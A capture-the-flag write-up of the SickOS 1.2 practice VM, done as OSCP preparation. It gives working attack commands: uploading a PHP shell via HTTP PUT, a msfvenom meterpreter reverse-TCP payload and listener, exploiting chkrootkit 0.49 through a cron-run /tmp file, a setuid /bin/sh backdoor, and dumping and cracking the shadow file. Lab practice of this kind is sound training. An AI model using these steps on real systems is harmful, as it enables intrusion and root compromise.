CTF / Boot2Root / SickOS 1.2

CTF / Boot2Root / SickOS 1.2

If you've not figured out, this is a write-up and will contain spoilers


Part of my OSCP pre-pwk-pre-exam education path, this is one of many recommended unofficial practice boxes. SickOs 1.2 details (https://www.vulnhub.com/entry/sickos-12,144/). I'm not a professional penetration tester and I'll probably fall down many rabbit holes but these are my notes and thought process.

I'll follow this official OSCP exam guide and avoid using Metasploit as much as possible to aid my learning. See notes below;

OSCP Metasploit Usage

You can only use Metasploit Auxiliary, Exploit, and Post modules against one target >machine of your choice.

You may use the following against all of the target machines:

  • multi handler (aka exploit/multi/handler)
  • msfvenom
  • pattern_create.rb
  • pattern_offset.rb
OSCP Exam Restrictions

You cannot use any of the following on the exam:

  • Spoofing (IP, ARP, DNS, NBNS, etc)
  • Commercial tools or services (Metasploit Pro, Burp Pro, etc.)
  • Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja >etc.)
  • Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact, >SAINT, etc.)
  • Features in other tools that utilize either forbidden or restricted exam >limitations

I used OneNote for screenshots/note taking and Kali 64 bit Mate.

Something to listen to: Metal Gear Solid V OST

Verify the *.zip using PowerShell with get-filehash

get-filehash .\sick0s1.2.zip -algorithm SHA1 | format-list
Algorithm : SHA1
Hash      : 9F45F7C060E15DC6BB93C1CF39EFDD75125E30A0
Path      : D:\Downloads\sick0s1.2.zip

9f45f7c060e15dc6bb93c1cf39efdd75125e30a0 - match. Extract, load and power on.


Start off by finding the IP of the box. Its set up to use a DHCP lease as per the download instructions


Once found, start a TCP port scan.

nmap -T4 -A -p-

Left a UDP scan going just in case.

nmap -T4 -sU -p-

Key findings are below;

22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)

80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).

Browsing to the HTTP server on port 80

Quick check of the file

root@kali:~/Desktop# file blow.jpg
blow.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 551x559, frames 3
root@kali:~/Desktop# binwalk blow.jpg
0             0x0             JPEG image data, JFIF standard 1.01
root@kali:~/Desktop# hexeditor blow.jpg 
File: blow.jpg                                                                                                                                                                                 ASCII Offset: 0x00000000 / 0x0000B71D (%00)  
00000000  FF D8 FF E0  00 10 4A 46   49 46 00 01  01 00 00 01                                                                                                                                                                ......JFIF......
00000010  00 01 00 00  FF DB 00 43   00 08 06 06  07 06 05 08                                                                                                                                                                .......C........
00000020  07 07 07 09  09 08 0A 0C   14 0D 0C 0B  0B 0C 19 12 

Nothing obviously out of place there.

Brute force a directory listing of the web server. Set dirb off against the root of the web server. Check https://tools.kali.org/tools-listing for more information about dirb

Start mapping the web application on both /TEST and /.

Basic enumeration - which was over pretty rapidly.

I follow / read / reference The Web Application Handbook 2 specifically CHAPTER 21 A WEB APPLICATION HACKER’S METHODOLOGY. Page 799 has this gem.

2.2.1 Identify all entry points for user input, including URLs, query string parameters, POST data, cookies, and other HTTP headers processed by the application.

I used Hackbar to post test data.

Hackbar is a simple penetration tool for Firefox. It helps in testing simple SQL injection
and XSS holes. You cannot execute standard exploits but you can easily use it to test whether vulnerability exists or not. You can also manually submit form data with GET or POST requests

or a new favourite POSTMAN

Or super elite via the cmdline.

root@kali:~# curl -X OPTIONS -v

So we can basically POST/PUT to - catastrophic.


Reverse shell / web shell backdoor seems the appropriate path. A 'Simple' one found here;

You can use https://github.com/postmanlabs to help compile the syntax for either WGET/cURL to push the file up or just to get you started.

Took a few attempts to get right...

  • curl --request PUT --url hxp:// --upload-file shell.php
  • curl -i -X PUT -T "shell.php" hxxp://
  • curl -i -X POST -H "Content-Type: multipart/form-data" -F "[email protected]" hxxp://
    417 - Expectation Failed

After reading about the error on Stack Overflow - ammended

curl -H "Expect:" -T shell.php

BOOM! (╯°□°)╯︵ ┻━┻

Let's create a PHP meterpreter reverse TCP shell.

msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw > msfshell.php

root@kali:~/Desktop/webshells# curl -H "Expect:" -T msfshell.php
root@kali:~# service postgresql status
root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit -j

No connection was found. :'(

I changed port to 443 as IPtables might be active on the host and it worked!

FYI. If you need to view / kill jobs.

msf exploit(handler) > jobs
msf exploit(handler) > jobs -K
msf exploit(handler) > sessions

Confirm meterpreter shell works.


My 1-2. These help automate the tasks of finding out about the system. Time is precious.

Use meterpreter to;

meterpreter > upload /root/Desktop/webshells/linexploit.sh
[*] uploading  : /root/Desktop/webshells/linexploit.sh -> linexploit.sh
[*] uploaded   : /root/Desktop/webshells/linexploit.sh -> linexploit.sh

Key findings I picked out. Either out of the norm or exploits I've heard that have reliable impact or are very common.

[+] [CVE-2012-0809] death_star (sudo)
Details: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
Tags: fedora=16
Download URL: https://www.exploit-db.com/download/18436

[+] [CVE-2014-0476] chkrootkit
Details: http://seclists.org/oss-sec/2014/q2/430
Download URL: https://www.exploit-db.com/download/33899
Comments: Rooting depends on the crontab (up to one day of dealy)

[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: RHEL=5|6|7,debian=7|8,ubuntu=16.10|16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611

[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: RHEL=5|6|7,debian=7|8,ubuntu=16.10|16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40616

I tried the Dirty Cow exploits without luck. Had to reset my machine at some point too.

I moved on and back to the enumeration script output.

Check version

/usr/sbin/chkrootkit -V
chkrootkit version 0.49

Googling / exploit-db for 0.49.

We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

A bit unsure on the interval as it could be once a day.
Confirming that CRON is running CHKROOTKIT as root every minute.

Now this is exploitable a few ideas we can do.

  • Change the root password and login.
  • Create a new user with sudo rights.
  • Output/dump /etc/passwd /etc/shadow and crack offline.
  • Create reverse shell from root.

so I tried creating /tmp/update with;

echo "w00t" | passwd --stdin root 

and then

echo "root:w00t" | chpasswd
meterpreter > upload /root/Desktop/webshells/update
[*] uploading  : /root/Desktop/webshells/update -> update
[*] uploaded   : /root/Desktop/webshells/update -> update
mv update /tmp/
ls -lash /tmp
total 24K
4.0K drwxrwxrwt  4 root     root     4.0K Sep 13 10:55 .
4.0K drwxr-xr-x 22 root     root     4.0K Mar 30  2016 ..
4.0K drwxrwxrwt  2 root     root     4.0K Sep 13 10:40 VMwareDnD
   0 srwxr-xr-x  1 www-data www-data    0 Sep 13 10:40 php.socket-0
4.0K -rw-r--r--  1 www-data www-data   12 Sep 13 10:54 update
4.0K -rw-r--r--  1 root     root     1.6K Sep 13 10:40 vgauthsvclog.txt.0
4.0K drwx------  2 root     root     4.0K Sep 13 10:40 vmware-root


chmod +x /tmp/update
ls -lash /tmp/update
4.0K -rwxr-xr-x 1 www-data www-data 12 Sep 13 10:54 /tmp/update

tail -f /var/log/syslog

FYI, Bash shell breakout. More here

python -c 'import pty; pty.spawn("/bin/bash")'

I gave up with changing the root password on moved onto dumping the password hashes.

root@kali:~/Desktop/webshells# unshadow passwd shadow > passdb
root@kali:~/Desktop/webshells# john -w=/usr/share/wordlists/rockyou.txt passdb
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 0.02% (ETA: 05:58:26) 0g/s 387.8p/s 775.7c/s 775.7C/s minerva..happydays

These are salted hashes and therefore difficult to crack (for me atm).

I ended up researching a bit more as maybe I was barking up the wrong tree with my ideas. Another idea was to use setuid on /bin/sh (original idea) - the idea behind this;

If you setuid on a binary, you’re telling the operating system that you want this binary to always be executed as the user owner of the binary. Be smart with setuid! Anything higher than 4750 can be very dangerous as it allows the world to run the binary as the root user

kudos https://major.io/2007/02/13/chmod-and-the-mysterious-first-octet/


chown root:root /bin/sh ; chmod 4777 /bin/sh

browsing to /root/

Just to see why connectivity was a pain at first. Displaying IPtables...

CAT TAX - Popping boxes is obviously too much for some.

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